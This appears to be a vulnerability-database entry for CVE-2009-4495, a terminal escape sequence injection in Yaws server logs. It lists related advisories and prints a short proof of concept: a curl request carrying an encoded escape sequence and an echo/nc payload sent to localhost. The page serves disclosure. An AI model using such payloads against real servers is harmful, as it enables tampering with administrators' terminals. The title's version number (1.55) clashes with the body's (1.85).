Yaws 1.55 - 'Logs' Terminal Escape Sequence Command Injection
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | CVE-2009-4495 | 11 Jan 201000:00 | – | circl |
 | CVE-2009-4495 | 13 Jan 201020:00 | – | cve |
 | CVE-2009-4495 | 13 Jan 201020:00 | – | cvelist |
 | CVE-2009-4495 | 13 Jan 201020:00 | – | debiancve |
 | EUVD-2009-4461 | 7 Oct 202500:30 | – | euvd |
 | CVE-2009-4495 | 13 Jan 201020:30 | – | nvd |
 | Yaws Terminal Escape Sequence in Logs Command Injection Vulnerability | 13 Jan 201000:00 | – | openvas |
| Yaws <= 1.85 Command Injection Vulnerability | 13 Jan 201000:00 | – | openvas |
 | DEBIAN-CVE-2009-4495 | 13 Jan 201020:30 | – | osv |
| UBUNTU-CVE-2009-4495 | 13 Jan 201020:30 | – | osv |
10
source: https://www.securityfocus.com/bid/37716/info
Yaws is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.
Attackers can exploit this issue to execute arbitrary commands in a terminal.
Yaws 1.85 is vulnerable; other versions may also be affected.
The following example is available:
curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payloadData
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26 May 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.09026